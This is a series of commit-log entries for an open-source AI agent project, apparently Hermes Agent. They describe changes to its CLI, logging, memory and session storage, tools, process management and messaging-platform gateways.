- Clarified messaging in the README and other documentation regarding the gateway's role in managing cron jobs.
- Removed obsolete terminal_hecate tool and related configurations to simplify the codebase.
- Updated the environment creation condition to specifically check for "singularity" instead of allowing "local", ensuring more precise handling of environment types during task execution.
- Added functionality to suppress logging noise from specific modules when in quiet mode, improving user experience in CLI.
- Updated terminal_tool.py to change the log level for fallback directory usage from warning to debug, providing clearer context without cluttering logs.
- Updated the placeholder text logic to append new fragments after existing ones, preserving the prompt appearance.
- Adjusted the hint height to maintain a 1-line spacer while the agent is running, preventing output from crowding the input area.
- Added input processors for password masking during sudo prompts and inline placeholder text for various states in the CLI.
- Implemented a custom placeholder processor to display context-sensitive instructions based on the current state (e.g., sudo, approval, clarify).
- Updated hint text logic to improve user guidance during interactive prompts, enhancing overall user experience.
- Added methods for handling sudo password and dangerous command approval prompts using a callback mechanism in cli.py.
- Integrated these prompts with the prompt_toolkit UI for improved user experience.
- Updated terminal_tool.py to support callback registration for interactive prompts, enhancing the CLI's interactivity.
- Introduced a background thread for API calls in run_agent.py to allow for interrupt handling during long-running operations.
- Enhanced error handling for interrupted API calls, ensuring graceful degradation of user experience.
- Introduced new methods in run_agent.py for building API keyword arguments and normalizing assistant messages from API responses.
- Added functionality for compressing conversation context and managing session state in SQLite.
- Improved tool call execution handling, including enhanced logging and error management.
- Updated path handling in multiple platform files to utilize pathlib for better compatibility and readability.
- Introduced a new DebugSession class in tools/debug_helpers.py to centralize debug logging functionality, replacing duplicated code across various tool modules.
- Updated image_generation_tool.py, mixture_of_agents_tool.py, vision_tools.py, web_tools.py, and others to utilize the new DebugSession for logging tool calls and saving debug logs.
- Enhanced maintainability and consistency in debug logging practices across the codebase.
- Updated various modules including cli.py, run_agent.py, gateway, and tools to replace silent exception handling with structured logging.
- Improved error messages to provide more context, aiding in debugging and monitoring.
- Ensured consistent logging practices throughout the codebase, enhancing traceability and maintainability.
- Deleted test scripts for Nous API limits, patterns, and temperature checks to streamline the testing suite.
- These scripts were no longer necessary and their removal helps maintain a cleaner codebase.
- Introduced logging functionality in cli.py, run_agent.py, scheduler.py, and various tool modules to replace print statements with structured logging.
- Enhanced error handling and informational messages to improve debugging and monitoring capabilities.
- Ensured consistent logging practices across the codebase, facilitating better traceability and maintenance.
- Revised descriptions for various tools in model_tools.py, browser_tool.py, code_execution_tool.py, delegate_tool.py, and terminal_tool.py to enhance clarity and reduce verbosity.
- Improved consistency in terminology and formatting across tool descriptions, ensuring users have a clearer understanding of tool functionalities and usage.
- Eliminated the `_log_api_payload` method used for temporary debugging, streamlining the codebase.
- Updated the `_save_session_log` method to save the full raw session, including all messages and metadata, improving the clarity and completeness of session logs.
- Adjusted session log entry to include additional context such as `base_url` and `platform` for better tracking.
- Changed the session logging directory from `~/.hermes-agent/logs/` to `~/.hermes/sessions/` for consistency.
- Updated the `run_agent.py` to reflect the new logging path, ensuring session logs are stored correctly alongside gateway sessions.
- Clarified the usage of the --cdp flag when connecting to an existing Browserbase session.
- Emphasized the importance of not using --session with --cdp to avoid creating a local browser instance in agent-browser >=0.13.
- Updated comments to reflect changes in per-task isolation management with AGENT_BROWSER_SOCKET_DIR.
- Increased the default session inactivity timeout from 2 to 5 minutes to accommodate LLM reasoning during multi-step tasks.
- Enhanced thread safety by implementing locks around session activity tracking and cleanup processes, allowing concurrent access by multiple subagents.
- Removed the stale daemon cleanup function, as it is no longer necessary with the updated session management approach.
- Updated logging and session cleanup logic to ensure proper handling of active sessions and associated resources.
- Introduced new skills for editing and creating PPTX presentations, including a detailed guide on template-based workflows and script usage.
- Added scripts for slide management, cleaning, and packing PPTX files, enhancing the overall functionality for users.
- Included a LICENSE file to clarify usage rights and restrictions.
- Created a SKILL.md file to provide an overview and quick reference for PPTX-related tasks.
- Documented various formatting rules, common pitfalls, and design ideas to improve presentation quality.
- Upgraded the agent-browser dependency to version 0.13.0.
- Added multiple new dependencies including @appium/logger, @wdio/config, and others, along with their respective versions and licenses.
- Updated the integrity checks and resolved URLs for the new packages.
- Ensured compatibility with Node.js versions by specifying engine requirements for new dependencies.
- Updated the stale daemon cleanup function to support multiple patterns for identifying orphaned agent-browser processes, improving reliability across different versions.
- Added logging for stderr output during browser command execution to aid in diagnostics, particularly for capturing warnings from the agent-browser.
- Implemented a warning for empty snapshots returned from the agent-browser, indicating potential issues with stale daemons or CDP connections.
- Incremented schema version to 2 and added a new column `finish_reason` to the `messages` table.
- Implemented a method to flush un-logged messages to the session database, ensuring data integrity during conversation interruptions.
- Enhanced error handling to persist messages in various early-return scenarios, preventing data loss.
- Upgraded the agent-browser dependency from version 0.7.6 to 0.13.0 in package.json.
- Added functionality to kill stale agent-browser daemon processes in browser_tool.py to prevent orphaned instances from previous runs.
- Deleted the session_viewer.html file, which was no longer in use.
- Removed the exprted.jsonl file, as it contained outdated exported data that is no longer relevant to the current project structure.
- Revised the "Getting Started" section to clarify the installation process with `hermes setup`.
- Enhanced instructions for changing providers and models using the `hermes model` command.
- Streamlined the explanation of available provider options, including Nous Portal, OpenRouter, and custom endpoints.
- Streamlined the "Getting Started" section to focus on connecting to the Nous Portal.
- Removed detailed options for other providers, emphasizing the quickest setup method.
- Clarified the process for switching providers and models using the `hermes model` command.
- Replaced getpass with direct reading from /dev/tty to enhance password input handling without echoing.
- Updated threading logic for password input to ensure proper cleanup and error handling.
- Improved visual feedback during password prompt, including clearer separation and timeout messaging.
- Enhanced user experience by providing immediate feedback on password input status.
- Updated the README to include a new banner image and changed the title emoji from 🦋 to ⚕.
- Modified various CLI outputs and scripts to reflect the new branding, ensuring consistency in the use of the ⚕ emoji.
- Added a new banner image asset for enhanced visual appeal during installation and setup processes.
- Added a new function to deactivate the active provider without deleting credentials, facilitating smoother transitions between different provider types.
- Updated the model flow logic to ensure the active provider is correctly set in the configuration, including handling custom endpoints and OAuth providers.
- Improved error handling in the CLI to consistently format authentication error messages.
- Enhanced the model selection process to reflect the effective provider based on configuration and environment variables.
- Added a comprehensive "Getting Started" section in the README to guide users through selecting inference providers.
- Implemented an interactive model selection feature in the CLI, allowing users to choose from available models or enter a custom model name.
- Improved user experience by displaying the current model and active provider during selection, with clear instructions for each provider type.
- Updated the model selection process to prioritize the currently active model, enhancing usability and clarity.
- Implemented a new interactive model selection feature after user login, allowing users to choose from available models or enter a custom model name.
- Added functionality to save the selected model to the configuration file and environment variables, ensuring persistence across sessions.
- Enhanced user experience by providing both menu-based and fallback number-based selection methods for model choice.
- Implemented a multi-provider authentication system for the Hermes Agent, supporting OAuth for Nous Portal and traditional API key methods for OpenRouter and custom endpoints.
- Enhanced CLI with commands for logging in and out of providers, allowing users to authenticate and manage their credentials easily.
- Updated configuration options to select inference providers, with detailed documentation on usage and setup.
- Improved status reporting to include authentication status and provider details, enhancing user awareness of their current configuration.
- Added new files for authentication handling and updated existing components to integrate the new provider system.
- Changed the banner message in both PowerShell and shell scripts to reflect the new branding of the Hermes Agent as an open source AI agent by Nous Research, enhancing clarity and consistency across installation scripts.
- Removed outdated sections detailing existing tools and knowledge systems to enhance readability.
- Consolidated information on subagent architecture and interactive clarifying questions, emphasizing their current status and implementation details.
- Updated formatting and structure to improve navigation and understanding of the document's content.
- Added a spinner to visually indicate task delegation progress in quiet mode, improving user experience during batch processing.
- Implemented a method to update spinner text dynamically based on remaining tasks, providing real-time feedback.
- Enhanced the `delegate_task` function to include per-task completion messages, ensuring clarity on task status during execution.
- Updated the KawaiiSpinner class to allow message updates while running, facilitating better interaction during long-running tasks.
- Introduced the `delegate_task` tool, allowing the main agent to spawn child AIAgent instances with isolated context for complex tasks.
- Supported both single-task and batch processing (up to 3 concurrent tasks) to enhance task management capabilities.
- Updated configuration options for delegation, including maximum iterations and default toolsets for subagents.
- Enhanced documentation to provide clear guidance on using the delegation feature and its configuration.
- Added comprehensive tests to ensure the functionality and reliability of the delegation logic.
- Changed the target parameter from "content" and "files" to "grep" and "find" to better represent their functionality.
- Revised descriptions in the tool definitions and execution code schema to enhance understanding of search modes and output formats.
- Ensured consistency in the handling of search operations across the codebase.
- Updated the tool name from "search" to "search_files" across multiple files to better reflect its functionality.
- Adjusted related documentation and descriptions to ensure clarity in usage and expected behavior.
- Enhanced the toolset definitions and mappings to incorporate the new naming convention, improving overall consistency in the codebase.
- Replaced file locking with atomic file operations using temporary files to prevent race conditions during read/write.
- Added deduplication of memory and user entries to avoid exact duplicates in the memory store.
- Enhanced error handling for duplicate entries and improved logic for managing multiple matches in memory operations.
- Updated docstrings to clarify the behavior of file reading and writing methods, ensuring better understanding of the implementation.
- Updated the default timeout for sandbox script execution from 120 seconds to 300 seconds (5 minutes) to allow longer-running scripts.
- Enhanced comments in the code execution tool to clarify the timeout duration.
- Suppressed stdout and stderr output from internal tool handlers during execution to prevent clutter in the CLI interface.
- Revised docstrings for `web_search` and `web_extract` functions to clarify return types and structure.
- Updated the execution code schema documentation to reflect changes in the output format for both tools, ensuring consistency and improved understanding for users.
- Introduced a new `execute_code` tool that allows the agent to run Python scripts that call Hermes tools via RPC, reducing the number of round trips required for tool interactions.
- Added configuration options for timeout and maximum tool calls in the sandbox environment.
- Updated the toolset definitions to include the new code execution capabilities, ensuring integration across platforms.
- Implemented comprehensive tests for the code execution sandbox, covering various scenarios including tool call limits and error handling.
- Enhanced the CLI and documentation to reflect the new functionality, providing users with clear guidance on using the code execution tool.
- Added a new configuration option for the clarify tool to set a custom timeout for user responses.
- Updated the clarify callback to implement a countdown display during user interaction, improving user experience.
- Refactored timeout handling to ensure the UI remains responsive and provides feedback on remaining time.
- Enhanced hint text to include countdown information when clarify questions are active.
- Added a new `clarify_tool` to enable the agent to ask structured multiple-choice or open-ended questions to users.
- Implemented callback functionality for user interaction, allowing the platform to handle UI presentation.
- Updated the CLI and agent to support clarify questions, including timeout handling and response management.
- Enhanced toolset definitions and requirements to include the clarify tool, ensuring availability across platforms.
- Increased the tool count to 44+ and clarified the management of bundled and agent-managed skills.
- Introduced a persistent memory system with MEMORY.md and USER.md for agent notes and user profiles.
- Updated the storage evolution section to reflect the use of SQLite for sessions and clarified the organization of skills and memories.
- Added current status of memory types implemented, highlighting progress in agent intelligence capabilities.
- Added a new `skill_manager_tool` to enable agents to create, update, and delete their own skills, enhancing procedural memory capabilities.
- Updated the skills directory structure to support user-created skills in `~/.hermes/skills/`, allowing for better organization and management.
- Enhanced the CLI and documentation to reflect the new skill management functionalities, including detailed instructions on creating and modifying skills.
- Implemented a manifest-based syncing mechanism for bundled skills to ensure user modifications are preserved during updates.
- Updated the file glob and include filters in the ShellFileOperations class to escape shell arguments, preventing unintended shell expansion.
- Added comments to clarify the necessity of quoting for file glob patterns.
- Updated the `_search_with_rg` and `_search_with_grep` methods to include filename in the output and improve result handling.
- Adjusted result fetching to account for context lines, ensuring accurate total counts and pagination.
- Enhanced parsing logic for matches and context lines, improving the accuracy of search results.
- Refactored result slicing to maintain consistency across output modes, ensuring users receive the correct number of results.
- Modified the `_exec` method in `ShellFileOperations` to accept `stdin_data`, allowing large content to be piped directly to commands, bypassing ARG_MAX limitations.
- Updated the `execute` method in various environment classes (`_LocalEnvironment`, `_SingularityEnvironment`, `_SSHEnvironment`, `_DockerEnvironment`) to support `stdin_data`, improving command execution flexibility.
- Removed the unique marker generation for heredoc in favor of direct stdin piping, simplifying file writing operations and enhancing performance for large files.
- Introduced the `/new` command to start a new conversation, resetting the history.
- Updated command handling in the CLI and various platform adapters (Discord, Slack, Telegram) to support the new command.
- Added help command functionality to list available commands, improving user guidance.
- Enhanced command mapping for better integration across platforms, ensuring consistent command behavior.
- Implemented prompts for configuring Slack bot and WhatsApp bridge during the setup process.
- Added instructions for creating a Slack app and saving necessary tokens, enhancing user guidance.
- Included security recommendations for restricting bot access and a reminder to start the messaging gateway after setup.
- Introduced a new function to check for configured messaging platform tokens and prompt the user to start the gateway.
- Updated the installation scripts to automatically start the gateway if messaging tokens are detected, enhancing user experience.
- Expanded the README to include instructions for starting the gateway, ensuring users are informed about the necessary steps for message handling.
- Enhanced the `handle_send_message_function_call` to support sending messages to multiple platforms (Telegram, Discord, Slack, WhatsApp) using their respective APIs.
- Added error handling for missing parameters and platform configuration issues.
- Introduced asynchronous message sending with helper functions for each platform, improving responsiveness and reliability.
- Updated documentation within the function to clarify usage and requirements.
- Added detailed sections for updating the Hermes agent, including quick and manual update methods.
- Introduced a messaging gateway section with setup instructions for Telegram, Discord, and Slack, along with commands for managing the gateway.
- Included security recommendations and context file usage to enhance user guidance.
- Updated the logic for stopping the thinking spinner to improve clarity in tool execution messages.
- Removed unnecessary checks for tool calls, simplifying the spinner's stop behavior while maintaining informative output for users.
- Updated the input area height calculation to ensure it matches the exact line count of content, eliminating extra blank space.
- Adjusted the return values to improve the responsiveness of the input area, enhancing user experience when adding newlines.
- Updated the input area layout by replacing the styled border frame with horizontal rules above and below the input, enhancing visual clarity.
- Adjusted the layout to ensure the input area grows dynamically with content while maintaining a consistent appearance with inline completions.
- Modified style definitions to reflect the new horizontal rule design, improving the overall aesthetics of the CLI.
- Wrapped the input area in a styled border frame to enhance visual structure and user experience.
- Updated layout to accommodate the framed input, ensuring consistent appearance with inline completions below the input area.
- Introduced new style definitions for the input frame to improve overall aesthetics of the CLI.
- Adjusted console width handling to ensure consistent output formatting.
- Introduced a short sleep after flushing stdout to allow for proper rendering of tool/status lines before displaying responses.
- Enhanced the response display by modifying the rendering logic to improve visual clarity and prevent interleaving of output.
- Added a flush of the StdoutProxy buffer to ensure that tool/status lines render above the response box, preventing interleaving of output.
- Combined the rendering of the response and the surrounding box into a single _cprint call for improved visual consistency and clarity.
- Added dynamic top and bottom borders to the response output in the HermesCLI, improving visual structure and readability.
- Implemented width adjustments for the borders based on console size, ensuring consistent appearance across different terminal environments.
- This change enhances the overall user experience by providing a clearer separation of messages in the CLI.
- Introduced a new function `_cprint` to handle ANSI-colored text rendering using prompt_toolkit's native capabilities, ensuring proper display of colors and formatting.
- Updated various print statements in the HermesCLI to utilize `_cprint`, enhancing the visual output of user messages and conversation indicators.
- This change improves the overall user experience by providing clearer and more visually appealing text in the CLI.
- Added ANSI escape codes for improved visual formatting in the CLI, including bold and colored text for user messages and conversation headers.
- Simplified the output structure by removing unnecessary visual separators and adapting the display to enhance readability and user experience.
- Implemented dynamic height adjustment for the input area in HermesCLI to accommodate varying content lines, ensuring that newlines (Alt+Enter) remain visible.
- This change improves usability by preventing internal scrolling of the input area when displaying output from the agent.
- Updated the HermesCLI layout to replace the floating completion menu with an inline CompletionsMenu, ensuring it appears consistently below the input area.
- This change enhances user experience by maintaining visibility of completions even after agent output fills the terminal, improving usability in non-full-screen modes.
- Eliminated the 'read' action from the memory tool and related logging in the agent, streamlining the available actions to 'add', 'replace', and 'remove'.
- Updated error messages and documentation to reflect the removal of the 'read' action, ensuring clarity in the API's usage.
Two-part implementation:
Part A - Curated Bounded Memory:
- New memory tool (tools/memory_tool.py) with MEMORY.md + USER.md stores
- Character-limited (2200/1375 chars), § delimited entries
- Frozen snapshot injected into system prompt at session start
- Model manages pruning via replace/remove with substring matching
- Usage indicator shown in system prompt header
Part B - SQLite Session Store:
- New hermes_state.py with SessionDB class, FTS5 full-text search
- Gateway session.py rewritten to dual-write SQLite + legacy JSONL
- Compression-triggered session splitting with parent_session_id chains
- New session_search tool with Gemini Flash summarization of matched sessions
- CLI session lifecycle (create on launch, close on exit)
Also:
- System prompt now cached per session, only rebuilt on compression
(fixes prefix cache invalidation from date/time changes every turn)
- Config version bumped to 3, hermes doctor checks for new artifacts
- Disabled in batch_runner and RL environments
- Introduced a new function `_resolve_short_name` to convert short skill names to full identifiers, improving user experience during skill installation.
- Updated the `do_install` function to utilize the new resolution method for identifiers without slashes, ensuring accurate skill fetching.
- Enhanced the install confirmation process to include a disclaimer about third-party skills, emphasizing user responsibility and security awareness.
- Introduced a new configuration section in `cli-config.yaml.example` for defining platform-specific toolsets, allowing for greater customization of available tools per platform.
- Updated the CLI to check for user-defined toolsets in the configuration, falling back to the default `hermes-cli` toolset if none are specified.
- Enhanced the `GatewayRunner` class to load platform-specific toolsets from the configuration, ensuring that the correct tools are enabled based on the platform being used.
- Introduced a new `todo_tool.py` for planning and tracking multi-step tasks, enhancing the agent's capabilities.
- Updated CLI to include a floating autocomplete dropdown for commands and improved user instructions for better navigation.
- Revised toolsets to incorporate the new `todo` tool and updated documentation to reflect changes in available tools and commands.
- Enhanced user experience with new keybindings and clearer command descriptions in the CLI.
- Updated the layout in HermesCLI to include a floating completion menu, improving user experience by providing real-time suggestions as users type.
- Refactored the layout structure to utilize FloatContainer, ensuring the input area remains accessible while displaying the completion menu dynamically.
- Revised user instructions to reflect the removal of the Ctrl+Enter key binding for new lines, simplifying the input method.
- Clarified that Alt+Enter is now the sole key for multi-line input, enhancing user experience.
- Removed the Shift+Enter key binding for inserting new lines, simplifying the input method.
- Introduced Ctrl+Enter as the primary key for multi-line input, ensuring better compatibility across terminals.
- Updated user instructions to reflect the new key bindings for a clearer user experience.
- Patched prompt_toolkit to recognize Shift+Enter as a distinct key for inserting new lines, improving the multiline input experience.
- Added Alt+Enter as a fallback for terminals that do not support Shift+Enter, ensuring consistent functionality across different environments.
- Updated user instructions to reflect the new key bindings for multiline input.
- Introduced SlashCommandCompleter for command autocompletion, enhancing user experience by suggesting commands as users type.
- Enabled multiline input with Shift+Enter, allowing users to enter longer messages more conveniently.
- Implemented paste detection to handle large text inputs, saving them to temporary files and replacing them with compact references in the input area.
- Updated input area styling and hint display to improve usability and feedback during agent operation.
- Updated the dynamic prompt to display the Hermes symbol when the agent is active, enhancing user feedback.
- Introduced a spacer line in the layout to prevent spinner output from overlapping the input cursor, improving usability.
- Adjusted the overall layout to maintain a clean interface while accommodating dynamic elements.
- Updated the input area prompt to dynamically reflect agent status, enhancing user feedback during operation.
- Removed the status line from the layout to streamline the interface, focusing solely on the input area.
- Adjusted styling for prompt states to improve visual clarity and user experience.
- Removed ANSI escape codes for color in tool activity messages to simplify output.
- Updated the _get_cute_tool_message method to provide a cleaner, more consistent format for various tool activities.
- Enhanced readability by aligning messages and removing unnecessary complexity, ensuring a more straightforward user experience.
- Introduced ANSI escape codes for color-coded CLI messages to enhance readability.
- Updated the _get_cute_tool_message method to generate clean, aligned activity lines for various tools, replacing kawaii ASCII art with a more structured format.
- Simplified message construction for web tools, terminal commands, and process management, ensuring consistent and scannable output.
- Updated the _build_tool_preview function to include detailed previews for new tools: 'todo', 'send_message', and various 'rl_' tools, improving user feedback during task execution.
- Added emoji representations for tools in GatewayRunner, including 'process', 'todo', and 'send_message', to enhance visual clarity in progress messages.
- Improved handling of task management and messaging outputs, ensuring more informative and user-friendly interactions.
Single `todo` tool that reads (no params) or writes (provide todos array
with merge flag). In-memory TodoStore on AIAgent, no system prompt
mutation, behavioral guidance in tool description only. State re-injected
after context compression events. Gateway sessions hydrate from
conversation history. Added to all platform toolsets.
Also wired into RL agent_loop.py with per-run TodoStore and fixed
browser_snapshot user_task passthrough from first user message.
- Enhanced the _build_tool_preview function to include specific formatting for the 'process' tool, displaying action, session_id, data, and timeout when applicable.
- This update improves the clarity of tool previews, particularly for actions that require session tracking and timeout management.
New process registry and tool for managing long-running background processes
across all terminal backends (local, Docker, Singularity, Modal, SSH).
Process Registry (tools/process_registry.py):
- ProcessSession tracking with rolling 200KB output buffer
- spawn_local() with optional PTY via ptyprocess for interactive CLIs
- spawn_via_env() for non-local backends (runs inside sandbox, never on host)
- Background reader threads per process (Popen stdout or PTY)
- wait() with timeout clamping, interrupt support, and transparent limit reporting
- JSON checkpoint to ~/.hermes/processes.json for gateway crash recovery
- Module-level singleton shared across agent loop, gateway, and RL
Process Tool (model_tools.py):
- 7 actions: list, poll, log, wait, kill, write, submit
- Paired with terminal in all toolsets (CLI, messaging, RL)
- Timeout clamping with transparent notes in response
Terminal Tool Updates (tools/terminal_tool.py):
- Replaced nohup background mode with registry spawn (returns session_id)
- Added workdir parameter for per-command working directory
- Added check_interval parameter for gateway auto-check watchers
- Added pty parameter for interactive CLI tools (Codex, Claude Code)
- Updated TERMINAL_TOOL_DESCRIPTION with full background workflow docs
- Cleanup thread now respects active background processes (won't reap sandbox)
Gateway Integration (gateway/run.py, session.py, config.py):
- Session reset protection: sessions with active processes exempt from reset
- Default idle timeout increased from 2 hours to 24 hours
- from_dict fallback aligned to match (was 120, now 1440)
- session_key env var propagated to process registry for session mapping
- Crash recovery on gateway startup via checkpoint probe
- check_interval watcher: asyncio task polls process, delivers updates to platform
RL Safety (environments/):
- tool_context.py cleanup() kills background processes on episode end
- hermes_base_env.py warns when enabled_toolsets is None (loads all tools)
- Process tool safe in RL via wait() blocking the agent loop
Also:
- Added ptyprocess as optional dependency (in pyproject.toml [pty] extra + [all])
- Fixed pre-existing bug: rl_test_inference missing from TOOL_TO_TOOLSET_MAP
- Updated AGENTS.md with process management docs and project structure
- Updated README.md terminal section with process management overview
- Introduced a new parameter `skip_context_files` in the AIAgent class to control the inclusion of context files (SOUL.md, AGENTS.md, .cursorrules) in the system prompt.
- Updated the _process_single_prompt function to set `skip_context_files` to True, preventing pollution of trajectories during batch processing and data generation.
- cli-config.yaml.example: env_type → backend everywhere, matching the
documented config key that hermes_cli/config.py and README already use
- cli-config.yaml.example: added comments clarifying cwd is a path
INSIDE the target environment for non-local backends
- AGENTS.md: updated terminal.cwd description to explain "." only
resolves to host CWD for the local backend
- .env.example: updated TERMINAL_CWD comment to warn against using
host-local paths with remote backends, lists per-backend defaults
When using Modal, Docker, SSH, or Singularity as the terminal backend
from the CLI, the agent resolved cwd: "." to the host machine's local
path (e.g. /Users/rewbs/code/hermes-agent) and passed it to the remote
sandbox, where it doesn't exist. All commands failed with "No such file
or directory".
Root cause: cli.py unconditionally resolved "." to os.getcwd() and wrote
it to TERMINAL_CWD regardless of backend type. Every tool then used that
host-local path as the working directory inside the remote environment.
Fixes:
- cli.py: only resolve "." to os.getcwd() for the local backend. For all
remote backends (ssh, docker, modal, singularity), leave TERMINAL_CWD
unset so the tool layer uses per-backend defaults (/root, /, ~, etc.)
- terminal_tool.py: added sanity check -- if TERMINAL_CWD contains a
host-local prefix (/Users/, /home/, C:\) for a non-local backend, log
a warning and fall back to the backend's default
- terminal_tool.py: SSH default CWD is now ~ instead of os.getcwd()
- file_operations.py: last-resort CWD fallback changed from os.getcwd()
to "/" so host paths never leak into remote file operations
Two config systems used different key names for the terminal backend:
- hermes_cli/config.py, README, and all docs use "terminal.backend"
- cli.py's env var mapping only recognized "terminal.env_type"
Users following the docs who set `backend: modal` in ~/.hermes/config.yaml
had it silently ignored -- TERMINAL_ENV always defaulted to "local".
Additionally, when no config file existed, cli.py's hardcoded defaults
overwrote any TERMINAL_ENV=modal set in .env, despite the comment saying
"env vars take precedence."
Fixes:
- cli.py now normalizes "backend" -> "env_type" (backend takes precedence)
- Defaults no longer overwrite .env when no config file terminal section exists
- hermes status reads from config as fallback when env var isn't set
Also fixes four related bugs found in the Modal/sandbox lifecycle:
- file_tools cache not cleared on sandbox cleanup (stale ops on dead sandbox)
- Global lock held during slow Modal teardown (blocked all tool calls 10-15s)
- Race condition in file_tools between existence check and access (KeyError)
- Per-task creation locks never cleaned up (memory leak)
- Improved the caching mechanism for ShellFileOperations to ensure stale entries are invalidated when environments are cleaned up.
- Enhanced thread safety by refining the use of locks during environment creation and cleanup processes.
- Streamlined the cleanup of inactive environments to prevent blocking other tool calls, ensuring efficient resource management.
- Added error handling and messaging improvements for better user feedback during environment cleanup.
- Introduced a new cleanup function that ensures terminal and browser sessions are cleaned up only once during application exit.
- Updated atexit registration to use the new cleanup function, enhancing resource management and preventing potential issues from multiple cleanup calls.
- Modified terminal cleanup messaging to only display when environments are cleaned, improving user feedback.
- Removed the check for the browserbase SDK from the optional packages list.
- Added validation for Node.js installation and the presence of the agent-browser package, providing feedback on their status for browser automation tools.
- Updated the doctor script to load environment variables from user-specific and project-specific `.env` files, improving configuration management.
- Added checks for the existence of the `SOUL.md` persona file, providing feedback on its status and creating it with a template if missing.
- Enhanced install scripts to create the `SOUL.md` file if it doesn't exist, ensuring users can easily customize the agent's personality.
- Modified the retrieval of tool definitions to use the agent result's "tools" key, ensuring accurate logging in the transcript.
- Enhanced the response structure to include tools in the final output, improving the clarity of tool usage in session interactions.
- Refactored the agent response processing to return a comprehensive result dictionary, including final responses and full message history.
- Improved transcript logging to capture the complete conversation, including tool calls and intermediate reasoning, facilitating session resumption and debugging.
- Added handling for fresh sessions to include tool definitions in the transcript for clarity.
- Implemented logic to filter and timestamp new messages, ensuring accurate logging of user and assistant interactions.
- Implemented deep copy of DEFAULT_CONFIG to prevent mutations during config loading.
- Enhanced user config merging process to clarify the deep merge of user values over defaults.
- Added newline handling when appending environment variables to ensure proper formatting.
- Updated the set_config_value function to write only user-specific configurations back to the file, avoiding overwriting default values.
- Updated prompts for the OPENAI_BASE_URL to clarify its use for custom endpoints.
- Enhanced the migration function to skip "advanced" environment variables during interactive configuration, streamlining the setup for standard users.
- Improved messaging for missing optional API keys, ensuring clearer guidance for users during configuration.
- Revised descriptions and prompts for the OPENAI_BASE_URL and OPENAI_API_KEY environment variables to enhance user understanding.
- Added a URL reference for the OPENAI_API_KEY to guide users in obtaining their API key.
- Specified the use of the API key for voice transcription and custom endpoints, improving the overall configuration documentation.
- Updated the vision tool to accept both HTTP/HTTPS URLs and local file paths for image analysis.
- Implemented caching of user-uploaded images in local directories to ensure reliable access for the vision tool, addressing issues with ephemeral URLs.
- Enhanced platform adapters (Discord, Telegram, WhatsApp) to download and cache images, allowing for immediate analysis and enriched message context.
- Added a new method to auto-analyze images attached by users, enriching the conversation with detailed descriptions.
- Improved documentation for image handling processes and updated related functions for clarity and efficiency.
- Clarified the requirements for Telegram voice bubbles, specifying the need for ffmpeg when using Edge TTS.
- Enhanced README and messaging documentation to detail audio delivery formats across platforms.
- Improved installation script messages to inform users about the necessity of ffmpeg for proper audio playback on Telegram.
- Added detection of the platform from the environment variable to determine the appropriate audio output format.
- Implemented logic to output Opus (.ogg) files for Telegram when using compatible TTS providers, while defaulting to MP3 for others.
- Updated `pyproject.toml` to include Edge TTS and ElevenLabs as dependencies.
- Enhanced documentation to detail voice message capabilities across platforms and TTS provider options.
- Modified the GatewayRunner to handle MEDIA tags from TTS tool responses, ensuring proper delivery of audio messages.
- Introduced a default agent identity prompt to ensure consistent behavior across platforms.
- Added platform-specific formatting hints for CLI, WhatsApp, Telegram, and Discord to guide the agent's output style.
- Updated the AIAgent initialization to accept a platform parameter, enhancing adaptability to different interfaces.
- Appended the current local date and time to the active system prompt to provide context for the model, addressing potential misinterpretations due to training cutoffs.
- Introduced a new script, `kill_modal.sh`, to facilitate stopping running Modal apps, including the ability to stop all apps or specific swe-rex sandboxes.
- Enhanced user experience with clear usage instructions and feedback during the stopping process.
- Improved error handling to ensure smooth execution even if some apps fail to stop.
- Updated task filter descriptions for clarity and added a new skip task feature to exclude incompatible tasks.
- Introduced a set of modal incompatible tasks to prevent execution errors in cloud environments.
- Implemented streaming JSONL logging for task results, preserving data even on interruptions.
- Refactored task evaluation logic to include skipped task reporting and improved error handling.
- Included "image_generate" in the toolsets for web, vision, and skills categories, expanding functionality for image-related tasks.
- Updated comments for clarity on the new tool's purpose, ensuring users understand its integration within the existing framework.
- Updated the image generation function description to clarify usage with markdown.
- Added `send_image` method to `BasePlatformAdapter` for native image sending across platforms.
- Implemented `send_image` in `DiscordAdapter` and `TelegramAdapter` to handle image attachments directly.
- Introduced `extract_images` method to extract image URLs from markdown and HTML, improving content processing.
- Enhanced message handling to support sending images as attachments while maintaining text content.
- Revised the description to reflect full access capabilities, including terminal usage with a dangerous command approval system.
- Added terminal and file manipulation tools to the toolset, enhancing functionality for users.
- Updated comments for clarity on tool purposes, ensuring better understanding of available features.
- Revised the labeled shape and arrow sections to utilize container binding instead of the deprecated "label" property, ensuring proper text rendering.
- Added warnings about the invalidity of the "label" property and emphasized the use of `boundElements` for text elements.
- Updated examples in dark-mode and general references to reflect the new binding approach, enhancing clarity and usability for users creating diagrams.
- Removed the skills_categories tool from the skills toolset, streamlining the skills functionality to focus on skills_list and skill_view.
- Updated the system prompt to dynamically build a compact skills index, allowing the model to quickly reference available skills without additional tool calls.
- Cleaned up related code and documentation to reflect the removal of skills_categories, ensuring clarity and consistency across the codebase.
- Introduced a new DESCRIPTION.md file outlining diagram creation skills for visual diagrams and flowcharts using Excalidraw.
- Added SKILL.md for the Excalidraw skill, detailing its functionality, usage, and workflow for creating hand-drawn style diagrams.
- Created references for color palettes, dark mode diagrams, and example diagrams to assist users in utilizing the Excalidraw skill effectively.
- Implemented an upload script for sharing diagrams via Excalidraw.com, ensuring user-friendly access to generated diagrams.
- Added functionality to signal and terminate long-running terminal commands when a new user message is received, allowing for immediate agent response.
- Introduced a global interrupt event in the terminal tool to facilitate early termination of subprocesses.
- Updated the AIAgent class to handle interrupts gracefully, ensuring that remaining tool calls are skipped and appropriate messages are returned to maintain valid message sequences.
- Enhanced the conversion of message history to agent format by distinguishing between normal and rich agent messages.
- Implemented logic to preserve full message structure for tool-related messages, ensuring valid assistant-to-tool sequences.
- Simplified handling of simple text messages by stripping unnecessary fields while retaining essential role and content information.
- Added logic to clear the adapter's interrupt event to prevent infinite loops during message processing.
- Updated the get_pending_message method to pop messages from the pending queue, ensuring proper message handling.
- Updated the start_gateway function to return a boolean indicating success or failure, allowing for better control over exit codes.
- Modified the main function to handle gateway startup failures, ensuring systemd can automatically restart on transient errors.
- Enhanced error handling in the hermes_cli gateway to exit with code 1 if the gateway fails to connect to any platform.
- Added /retry command to resend the last user message, improving user experience by allowing message re-sending without retyping.
- Introduced /undo command to remove the last user/assistant exchange from conversation history, providing better control over conversation flow.
- Updated save_config_value function to respect user and project config precedence, enhancing configuration management.
